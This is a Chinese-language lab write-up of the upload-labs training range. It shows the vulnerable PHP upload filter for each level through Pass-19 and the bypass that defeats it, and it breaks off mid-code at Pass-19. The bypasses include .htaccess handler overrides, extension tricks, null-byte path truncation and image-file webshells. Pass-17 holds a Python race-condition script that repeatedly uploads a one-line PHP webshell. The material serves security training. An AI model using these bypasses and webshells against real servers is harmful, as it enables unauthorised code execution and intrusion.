zoukankan      html  css  js  c++  java
  • 3. 文件上传靶机实战(附靶机跟writeup)

    upload-labs

    一个帮你总结所有类型的上传漏洞的靶场

    文件上传靶机下载地址:https://github.com/c0ny1/upload-labs
     

    运行环境

    操作系统:推荐windows(除了Pass-19必须在linux下,其余Pass都可以在windows上运行)
    php版本:推荐5.2.17(其他版本可能会导致部分Pass无法突破)
    php组件:php_gd2,php_exif(部分Pass需要开启这两个组件)
    apache:以moudel方式连接

    PS:为了节省时间,可下载Windows下集成环境,解压即可运行靶机环境。

    总结

    -----------------------------------------------------------------------------------------------------------------------

    实验用小马

    绕过方法

    Pass-01

    源代码:

     1 function checkFile() {
     2     var file = document.getElementsByName('upload_file')[0].value;
     3     if (file == null || file == "") {
     4         alert("请选择要上传的文件!");
     5         return false;
     6     }
     7     //定义允许上传的文件类型
     8     var allow_ext = ".jpg|.png|.gif";
     9     //提取上传文件的类型
    10     var ext_name = file.substring(file.lastIndexOf("."));
    11     //判断上传文件类型是否允许上传
    12     if (allow_ext.indexOf(ext_name + "|") == -1) {
    13         var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
    14         alert(errMsg);
    15         return false;
    16     }
    17 }

    1.前端禁用JS,直接上传Webshell

    2.把以.php结尾的小马改为以.jpg|.png|.gif结尾,用burpsuite抓包,在把.jpg|.png|.gif改回.php即可上传成功

    Pass-02

    源代码:

     1 $is_upload = false;
     2 $msg = null;
     3 if (isset($_POST['submit'])) {
     4     if (file_exists($UPLOAD_ADDR)) {
     5         if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
     6             if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
     7                 $img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
     8                 $is_upload = true;
     9 
    10             }
    11         } else {
    12             $msg = '文件类型不正确,请重新上传!';
    13         }
    14     } else {
    15         $msg = $UPLOAD_ADDR.'文件夹不存在,请手工创建!';
    16     }
    17 }

    由代码可知,对文件MIME类型进行了验证判断

    截断上传数据包,修改Content-Type为image/gif,然后放行数据包

    Pass-03

    源代码:

     1 $is_upload = false;
     2 $msg = null;
     3 if (isset($_POST['submit'])) {
     4     if (file_exists($UPLOAD_ADDR)) {
     5         $deny_ext = array('.asp','.aspx','.php','.jsp');
     6         $file_name = trim($_FILES['upload_file']['name']);
     7         $file_name = deldot($file_name);//删除文件名末尾的点
     8         $file_ext = strrchr($file_name, '.');
     9         $file_ext = strtolower($file_ext); //转换为小写
    10         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
    11         $file_ext = trim($file_ext); //收尾去空
    12 
    13         if(!in_array($file_ext, $deny_ext)) {
    14             if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR. '/' . $_FILES['upload_file']['name'])) {
    15                  $img_path = $UPLOAD_ADDR .'/'. $_FILES['upload_file']['name'];
    16                  $is_upload = true;
    17             }
    18         } else {
    19             $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
    20         }
    21     } else {
    22         $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    23     }
    24 }

    1.这里是黑名单验证('.asp','.aspx','.php','.jsp'),我们可上传php3,php5...等这样可以被服务器解析的后缀名

    2.重写文件解析规则绕过。上传先上传一个名为.htaccess文件,内容如下:

    <FilesMatch "1.jpg">
    SetHandler application/x-httpd-php
    </FilesMatch>

    如何创建.htaccess结尾的无文件名的文件

    一句话木马的制作:https://blog.csdn.net/netuser1937/article/details/53738675/

    然后再上传一个1.jpg

    执行上传的1.jpg脚本

    通过.htaccess文件调用php解析器去解析一个文件名中只要包含"1.jpg"这个字符串的任意文件,

    无论扩展名是什么(没有也行),都以php的方式来解析

    Pass-04

    源代码:

     1 $is_upload = false;
     2 $msg = null;
     3 if (isset($_POST['submit'])) {
     4     if (file_exists($UPLOAD_ADDR)) {
     5         $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
     6         $file_name = trim($_FILES['upload_file']['name']);
     7         $file_name = deldot($file_name);//删除文件名末尾的点
     8         $file_ext = strrchr($file_name, '.');
     9         $file_ext = strtolower($file_ext); //转换为小写
    10         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
    11         $file_ext = trim($file_ext); //收尾去空
    12 
    13         if (!in_array($file_ext, $deny_ext)) {
    14             if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
    15                 $img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
    16                 $is_upload = true;
    17             }
    18         } else {
    19             $msg = '此文件不允许上传!';
    20         }
    21     } else {
    22         $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    23     }
    24 }

    分析代码发现,这里对上传的后缀名的判断增加了,php3.php5....已经不允许上传,但是没有限制.htaccess文件的上传,所以我们依然可以使用

    重写文件解析规则绕过,方法同上题一样,这里不再赘述

    Pass-05

    源代码:

     1 $is_upload = false;
     2 $msg = null;
     3 if (isset($_POST['submit'])) {
     4     if (file_exists($UPLOAD_ADDR)) {
     5         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
     6         $file_name = trim($_FILES['upload_file']['name']);
     7         $file_name = deldot($file_name);//删除文件名末尾的点
     8         $file_ext = strrchr($file_name, '.');
     9         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
    10         $file_ext = trim($file_ext); //首尾去空
    11 
    12         if (!in_array($file_ext, $deny_ext)) {
    13             if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
    14                 $img_path = $UPLOAD_ADDR . '/' . $file_name;
    15                 $is_upload = true;
    16             }
    17         } else {
    18             $msg = '此文件不允许上传';
    19         }
    20     } else {
    21         $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    22     }
    23 }

    分析代码,发现以.htaccess为后缀的文件已经不允许上传,但是  $file_ext = strtolower($file_ext); //转换为小写  这一句没有了,我们就可以使用文件名后缀大小写混合绕过,把1.php改为1.phP...来上传

    Pass-06

    源代码:

     1 $is_upload = false;
     2 $msg = null;
     3 if (isset($_POST['submit'])) {
     4     if (file_exists($UPLOAD_ADDR)) {
     5         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
     6         $file_name = trim($_FILES['upload_file']['name']);
     7         $file_name = deldot($file_name);//删除文件名末尾的点
     8         $file_ext = strrchr($file_name, '.');
     9         $file_ext = strtolower($file_ext); //转换为小写
    10         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
    11         
    12         if (!in_array($file_ext, $deny_ext)) {
    13             if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
    14                 $img_path = $UPLOAD_ADDR . '/' . $file_name;
    15                 $is_upload = true;
    16             }
    17         } else {
    18             $msg = '此文件不允许上传';
    19         }
    20     } else {
    21         $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    22     }
    23 }

    利用Windows系统的文件名特性。文件名最后增加空格和点,写成1.php .,这个需要用burpsuite抓包修改,上传后保存在Windows系统上的文件名最后的一个.会被去掉,实际上保存的文件名就是1.php

    果然上传成功

    Pass-07

    源代码:

     1 $is_upload = false;
     2 $msg = null;
     3 if (isset($_POST['submit'])) {
     4     if (file_exists($UPLOAD_ADDR)) {
     5         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
     6         $file_name = trim($_FILES['upload_file']['name']);
     7         $file_ext = strrchr($file_name, '.');
     8         $file_ext = strtolower($file_ext); //转换为小写
     9         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
    10         $file_ext = trim($file_ext); //首尾去空
    11         
    12         if (!in_array($file_ext, $deny_ext)) {
    13             if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
    14                 $img_path = $UPLOAD_ADDR . '/' . $file_name;
    15                 $is_upload = true;
    16             }
    17         } else {
    18             $msg = '此文件不允许上传';
    19         }
    20     } else {
    21         $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    22     }
    23 }

    原理同Pass-06,文件名后加点和空格,改成1.php.

    Pass-08

    源代码:

     1 $is_upload = false;
     2 $msg = null;
     3 if (isset($_POST['submit'])) {
     4     if (file_exists($UPLOAD_ADDR)) {
     5         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
     6         $file_name = trim($_FILES['upload_file']['name']);
     7         $file_name = deldot($file_name);//删除文件名末尾的点
     8         $file_ext = strrchr($file_name, '.');
     9         $file_ext = strtolower($file_ext); //转换为小写
    10         $file_ext = trim($file_ext); //首尾去空
    11         
    12         if (!in_array($file_ext, $deny_ext)) {
    13             if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
    14                 $img_path = $UPLOAD_ADDR . '/' . $file_name;
    15                 $is_upload = true;
    16             }
    17         } else {
    18             $msg = '此文件不允许上传';
    19         }
    20     } else {
    21         $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    22     }
    23 }

    分析代码,少了    $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA    这一句,我们可以采用Windows文件流特性绕过,文件名改成

    1.php::$DATA , 上传成功后保存的文件名其实是1.php

    Pass-09

    源代码:

     1 $is_upload = false;
     2 $msg = null;
     3 if (isset($_POST['submit'])) {
     4     if (file_exists($UPLOAD_ADDR)) {
     5         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
     6         $file_name = trim($_FILES['upload_file']['name']);
     7         $file_name = deldot($file_name);//删除文件名末尾的点
     8         $file_ext = strrchr($file_name, '.');
     9         $file_ext = strtolower($file_ext); //转换为小写
    10         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
    11         $file_ext = trim($file_ext); //首尾去空
    12         
    13         if (!in_array($file_ext, $deny_ext)) {
    14             if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
    15                 $img_path = $UPLOAD_ADDR . '/' . $file_name;
    16                 $is_upload = true;
    17             }
    18         } else {
    19             $msg = '此文件不允许上传';
    20         }
    21     } else {
    22         $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    23     }
    24 }

    原理同Pass-06,上传文件名后加上点+空格+点,改为1.php. .

    Pass-10

    源代码:

     1 $is_upload = false;
     2 $msg = null;
     3 if (isset($_POST['submit'])) {
     4     if (file_exists($UPLOAD_ADDR)) {
     5         $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
     6 
     7         $file_name = trim($_FILES['upload_file']['name']);
     8         $file_name = str_ireplace($deny_ext,"", $file_name);
     9         if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $file_name)) {
    10             $img_path = $UPLOAD_ADDR . '/' .$file_name;
    11             $is_upload = true;
    12         }
    13     } else {
    14         $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    15     }
    16 }

    分析代码,由于 $file_name = str_ireplace($deny_ext,"", $file_name);   只对文件后缀名进行一次过滤,这样的话,双写文件名绕过,文件名改成1.pphphp

    Pass-11

    源代码:

     1 $is_upload = false;
     2 $msg = null;
     3 if(isset($_POST['submit'])){
     4     $ext_arr = array('jpg','png','gif');
     5     $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
     6     if(in_array($file_ext,$ext_arr)){
     7         $temp_file = $_FILES['upload_file']['tmp_name'];
     8         $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
     9 
    10         if(move_uploaded_file($temp_file,$img_path)){
    11             $is_upload = true;
    12         }
    13         else{
    14             $msg = '上传失败!';
    15         }
    16     }
    17     else{
    18         $msg = "只允许上传.jpg|.png|.gif类型文件!";
    19     }
    20 }

    分析代码,这是以时间戳的方式对上传文件进行命名,使用上传路径名%00截断绕过,不过这需要对文件有足够的权限,比如说创建

    文件夹,上传的文件名写成1.jpg, save_path改成../upload/1.php%00,最后保存下来的文件就是1.php

    Pass-12

    源代码:

     1 $is_upload = false;
     2 $msg = null;
     3 if(isset($_POST['submit'])){
     4     $ext_arr = array('jpg','png','gif');
     5     $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
     6     if(in_array($file_ext,$ext_arr)){
     7         $temp_file = $_FILES['upload_file']['tmp_name'];
     8         $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
     9 
    10         if(move_uploaded_file($temp_file,$img_path)){
    11             $is_upload = true;
    12         }
    13         else{
    14             $msg = "上传失败";
    15         }
    16     }
    17     else{
    18         $msg = "只允许上传.jpg|.png|.gif类型文件!";
    19     }
    20 }

    原理同Pass-11,上传路径0x00绕过。利用Burpsuite的Hex功能将save_path改成../upload/1.php【二进制00】形式

    Pass-13

    源代码:

     1 function getReailFileType($filename){
     2     $file = fopen($filename, "rb");
     3     $bin = fread($file, 2); //只读2字节
     4     fclose($file);
     5     $strInfo = @unpack("C2chars", $bin);    
     6     $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
     7     $fileType = '';    
     8     switch($typeCode){      
     9         case 255216:            
    10             $fileType = 'jpg';
    11             break;
    12         case 13780:            
    13             $fileType = 'png';
    14             break;        
    15         case 7173:            
    16             $fileType = 'gif';
    17             break;
    18         default:            
    19             $fileType = 'unknown';
    20         }    
    21         return $fileType;
    22 }
    23 
    24 $is_upload = false;
    25 $msg = null;
    26 if(isset($_POST['submit'])){
    27     $temp_file = $_FILES['upload_file']['tmp_name'];
    28     $file_type = getReailFileType($temp_file);
    29 
    30     if($file_type == 'unknown'){
    31         $msg = "文件未知,上传失败!";
    32     }else{
    33         $img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").".".$file_type;
    34         if(move_uploaded_file($temp_file,$img_path)){
    35             $is_upload = true;
    36         }
    37         else{
    38             $msg = "上传失败";
    39         }
    40     }
    41 }

    绕过文件头检查,添加GIF图片的文件头GIF89a,绕过GIF图片检查。

    或者我们使用命令copy 1.jpg /b + shell.php /a webshell.jpg,将php一句话追加到jpg图片末尾,代码不全的话,人工补充完整。形成一个包含Webshell代码的新jpg图片,然后直接上传即可。但是我们没有办法拿到shell,应为我们上传的图片马无法被解析成php形式,通常图片马配合%00或者0x00截断上传,或者配合解析漏洞

    Pass-14

    源代码:

     1 function isImage($filename){
     2     $types = '.jpeg|.png|.gif';
     3     if(file_exists($filename)){
     4         $info = getimagesize($filename);
     5         $ext = image_type_to_extension($info[2]);
     6         if(stripos($types,$ext)){
     7             return $ext;
     8         }else{
     9             return false;
    10         }
    11     }else{
    12         return false;
    13     }
    14 }
    15 
    16 $is_upload = false;
    17 $msg = null;
    18 if(isset($_POST['submit'])){
    19     $temp_file = $_FILES['upload_file']['tmp_name'];
    20     $res = isImage($temp_file);
    21     if(!$res){
    22         $msg = "文件未知,上传失败!";
    23     }else{
    24         $img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").$res;
    25         if(move_uploaded_file($temp_file,$img_path)){
    26             $is_upload = true;
    27         }
    28         else{
    29             $msg = "上传失败";
    30         }
    31     }
    32 }

    getimagesize() 函数用于获取图像尺寸 索引 2 给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM

    这里有详解:https://blog.csdn.net/sanbingyutuoniao123/article/details/52166617

    image_type_to_extension() 函数用于获取图片后缀

    Pass-15

    源代码:

     1 function isImage($filename){
     2     //需要开启php_exif模块
     3     $image_type = exif_imagetype($filename);
     4     switch ($image_type) {
     5         case IMAGETYPE_GIF:
     6             return "gif";
     7             break;
     8         case IMAGETYPE_JPEG:
     9             return "jpg";
    10             break;
    11         case IMAGETYPE_PNG:
    12             return "png";
    13             break;    
    14         default:
    15             return false;
    16             break;
    17     }
    18 }
    19 
    20 $is_upload = false;
    21 $msg = null;
    22 if(isset($_POST['submit'])){
    23     $temp_file = $_FILES['upload_file']['tmp_name'];
    24     $res = isImage($temp_file);
    25     if(!$res){
    26         $msg = "文件未知,上传失败!";
    27     }else{
    28         $img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").".".$res;
    29         if(move_uploaded_file($temp_file,$img_path)){
    30             $is_upload = true;
    31         }
    32         else{
    33             $msg = "上传失败";
    34         }
    35     }
    36 }
    exif_imagetype()  此函数是php内置函数,用来获取图片类型
     

    Pass-16

    源代码:

     1 $is_upload = false;
     2 $msg = null;
     3 if (isset($_POST['submit'])){
     4     // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
     5     $filename = $_FILES['upload_file']['name'];
     6     $filetype = $_FILES['upload_file']['type'];
     7     $tmpname = $_FILES['upload_file']['tmp_name'];
     8 
     9     $target_path=$UPLOAD_ADDR.basename($filename);
    10 
    11     // 获得上传文件的扩展名
    12     $fileext= substr(strrchr($filename,"."),1);
    13 
    14     //判断文件后缀与类型,合法才进行上传操作
    15     if(($fileext == "jpg") && ($filetype=="image/jpeg")){
    16         if(move_uploaded_file($tmpname,$target_path))
    17         {
    18             //使用上传的图片生成新的图片
    19             $im = imagecreatefromjpeg($target_path);
    20 
    21             if($im == false){
    22                 $msg = "该文件不是jpg格式的图片!";
    23             }else{
    24                 //给新图片指定文件名
    25                 srand(time());
    26                 $newfilename = strval(rand()).".jpg";
    27                 $newimagepath = $UPLOAD_ADDR.$newfilename;
    28                 imagejpeg($im,$newimagepath);
    29                 //显示二次渲染后的图片(使用用户上传图片生成的新图片)
    30                 $img_path = $UPLOAD_ADDR.$newfilename;
    31                 unlink($target_path);
    32                 $is_upload = true;
    33             }
    34         }
    35         else
    36         {
    37             $msg = "上传失败!";
    38         }
    39 
    40     }else if(($fileext == "png") && ($filetype=="image/png")){
    41         if(move_uploaded_file($tmpname,$target_path))
    42         {
    43             //使用上传的图片生成新的图片
    44             $im = imagecreatefrompng($target_path);
    45 
    46             if($im == false){
    47                 $msg = "该文件不是png格式的图片!";
    48             }else{
    49                  //给新图片指定文件名
    50                 srand(time());
    51                 $newfilename = strval(rand()).".png";
    52                 $newimagepath = $UPLOAD_ADDR.$newfilename;
    53                 imagepng($im,$newimagepath);
    54                 //显示二次渲染后的图片(使用用户上传图片生成的新图片)
    55                 $img_path = $UPLOAD_ADDR.$newfilename;
    56                 unlink($target_path);
    57                 $is_upload = true;               
    58             }
    59         }
    60         else
    61         {
    62             $msg = "上传失败!";
    63         }
    64 
    65     }else if(($fileext == "gif") && ($filetype=="image/gif")){
    66         if(move_uploaded_file($tmpname,$target_path))
    67         {
    68             //使用上传的图片生成新的图片
    69             $im = imagecreatefromgif($target_path);
    70             if($im == false){
    71                 $msg = "该文件不是gif格式的图片!";
    72             }else{
    73                 //给新图片指定文件名
    74                 srand(time());
    75                 $newfilename = strval(rand()).".gif";
    76                 $newimagepath = $UPLOAD_ADDR.$newfilename;
    77                 imagegif($im,$newimagepath);
    78                 //显示二次渲染后的图片(使用用户上传图片生成的新图片)
    79                 $img_path = $UPLOAD_ADDR.$newfilename;
    80                 unlink($target_path);
    81                 $is_upload = true;
    82             }
    83         }
    84         else
    85         {
    86             $msg = "上传失败!";
    87         }
    88     }else{
    89         $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    90     }
    91 }

    原理:将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。具体实现需要自己编写Python程序,人工尝试基本是不可能构造出能绕过渲染函数的图片webshell的。

    这里提供一个包含一句话webshell代码并可以绕过PHP的imagecreatefromgif函数的GIF图片示例

    php图像二次渲染:

    https://blog.csdn.net/hitwangpeng/article/details/48661433

    https://blog.csdn.net/hitwangpeng/article/details/46548849    

    这两个讲的还可以

    打开被渲染后的图片,Webshell代码仍然存在

    提供一个jpg格式图片绕过imagecreatefromjpeg函数渲染的一个示例文件。 直接上传示例文件会触发Warning警告,并提示文件不是jpg格式的图片。但是实际上已经上传成功,而且示例文件名没有改变。

    从上面上传jpg图片可以看到我们想复杂了,程序没有对渲染异常进行处理,直接在正常png图片内插入webshell代码,然后上传示例文件即可,并不需要图片是正常的图片。

    程序依然没有对文件重命名,携带webshell的无效损坏png图片直接被上传成功。

    Pass-17

    源代码:

     1 $is_upload = false;
     2 $msg = null;
     3 
     4 if(isset($_POST['submit'])){
     5     $ext_arr = array('jpg','png','gif');
     6     $file_name = $_FILES['upload_file']['name'];
     7     $temp_file = $_FILES['upload_file']['tmp_name'];
     8     $file_ext = substr($file_name,strrpos($file_name,".")+1);
     9     $upload_file = $UPLOAD_ADDR . '/' . $file_name;
    10 
    11     if(move_uploaded_file($temp_file, $upload_file)){
    12         if(in_array($file_ext,$ext_arr)){
    13              $img_path = $UPLOAD_ADDR . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
    14              rename($upload_file, $img_path);
    15              unlink($upload_file);
    16              $is_upload = true;
    17         }else{
    18             $msg = "只允许上传.jpg|.png|.gif类型文件!";
    19             unlink($upload_file);
    20         }
    21     }else{
    22         $msg = '上传失败!';
    23     }
    24 }

    利用条件竞争删除文件时间差绕过。使用命令pip install hackhttp安装hackhttp模块,运行下面的Python代码即可。如果还是删除太快,可以适当调整线程并发数。

     1 #!/usr/bin/env python
     2 # coding:utf-8
    3 4 5 import hackhttp 6 from multiprocessing.dummy import Pool as ThreadPool 7 8 9 def upload(lists): 10 hh = hackhttp.hackhttp() 11 raw = """POST /upload-labs/Pass-17/index.php HTTP/1.1 12 Host: 127.0.0.1 13 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0 14 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 15 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 16 Accept-Encoding: gzip, deflate 17 Referer: http://127.0.0.1/upload-labs/Pass-17/index.php 18 Cookie: pass=17 19 Connection: close 20 Upgrade-Insecure-Requests: 1 21 Content-Type: multipart/form-data; boundary=---------------------------6696274297634 22 Content-Length: 341 23 24 -----------------------------6696274297634 25 Content-Disposition: form-data; name="upload_file"; filename="17.php" 26 Content-Type: application/octet-stream 27 28 <?php assert($_POST["LandGrey"])?> 29 -----------------------------6696274297634 30 Content-Disposition: form-data; name="submit" 31 32 上传 33 -----------------------------6696274297634-- 34 """ 35 code, head, html, redirect, log = hh.http('http://127.0.0.1/upload-labs/Pass-17/index.php', raw=raw) 36 print(str(code) + " ") 37 38 39 pool = ThreadPool(10) 40 pool.map(upload, range(10000)) 41 pool.close() 42 pool.join()

    在脚本运行的时候,访问Webshell

    Pass-18

    源代码:

      1 //index.php
      2 $is_upload = false;
      3 $msg = null;
      4 if (isset($_POST['submit']))
      5 {
      6     require_once("./myupload.php");
      7     $imgFileName =time();
      8     $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
      9     $status_code = $u->upload($UPLOAD_ADDR);
     10     switch ($status_code) {
     11         case 1:
     12             $is_upload = true;
     13             $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
     14             break;
     15         case 2:
     16             $msg = '文件已经被上传,但没有重命名。';
     17             break; 
     18         case -1:
     19             $msg = '这个文件不能上传到服务器的临时文件存储目录。';
     20             break; 
     21         case -2:
     22             $msg = '上传失败,上传目录不可写。';
     23             break; 
     24         case -3:
     25             $msg = '上传失败,无法上传该类型文件。';
     26             break; 
     27         case -4:
     28             $msg = '上传失败,上传的文件过大。';
     29             break; 
     30         case -5:
     31             $msg = '上传失败,服务器已经存在相同名称文件。';
     32             break; 
     33         case -6:
     34             $msg = '文件无法上传,文件不能复制到目标目录。';
     35             break;      
     36         default:
     37             $msg = '未知错误!';
     38             break;
     39     }
     40 }
     41 
     42 //myupload.php
     43 class MyUpload{
     44 ......
     45 ......
     46 ...... 
     47   var $cls_arr_ext_accepted = array(
     48       ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
     49       ".html", ".xml", ".tiff", ".jpeg", ".png" );
     50 
     51 ......
     52 ......
     53 ......  
     54   /** upload()
     55    **
     56    ** Method to upload the file.
     57    ** This is the only method to call outside the class.
     58    ** @para String name of directory we upload to
     59    ** @returns void
     60   **/
     61   function upload( $dir ){
     62     
     63     $ret = $this->isUploadedFile();
     64     
     65     if( $ret != 1 ){
     66       return $this->resultUpload( $ret );
     67     }
     68 
     69     $ret = $this->setDir( $dir );
     70     if( $ret != 1 ){
     71       return $this->resultUpload( $ret );
     72     }
     73 
     74     $ret = $this->checkExtension();
     75     if( $ret != 1 ){
     76       return $this->resultUpload( $ret );
     77     }
     78 
     79     $ret = $this->checkSize();
     80     if( $ret != 1 ){
     81       return $this->resultUpload( $ret );    
     82     }
     83     
     84     // if flag to check if the file exists is set to 1
     85     
     86     if( $this->cls_file_exists == 1 ){
     87       
     88       $ret = $this->checkFileExists();
     89       if( $ret != 1 ){
     90         return $this->resultUpload( $ret );    
     91       }
     92     }
     93 
     94     // if we are here, we are ready to move the file to destination
     95 
     96     $ret = $this->move();
     97     if( $ret != 1 ){
     98       return $this->resultUpload( $ret );    
     99     }
    100 
    101     // check if we need to rename the file
    102 
    103     if( $this->cls_rename_file == 1 ){
    104       $ret = $this->renameFile();
    105       if( $ret != 1 ){
    106         return $this->resultUpload( $ret );    
    107       }
    108     }
    109     
    110     // if we are here, everything worked as planned :)
    111 
    112     return $this->resultUpload( "SUCCESS" );
    113   
    114   }
    115 ......
    116 ......
    117 ...... 
    118 };

    刚开始没有找到绕过方法,最后下载作者Github提供的打包环境,利用上传重命名竞争+Apache解析漏洞,成功绕过。

    上传名字为18.php.7Z的文件,快速重复提交该数据包,会提示文件已经被上传,但没有被重命名。

    快速提交上面的数据包,可以让文件名字不被重命名上传成功。

    然后利用Apache的解析漏洞,即可获得shell

    Pass-19

    源代码:

     1 $is_upload = false;
     2 $msg = null;
     3 if (isset($_POST['submit'])) {
     4     if (file_exists($UPLOAD_ADDR)) {
     5         $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
     6 
     7         $file_name = $_POST['save_name'];
     8         $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
     9 
    10         if(!in_array($file_ext,$deny_ext)) {
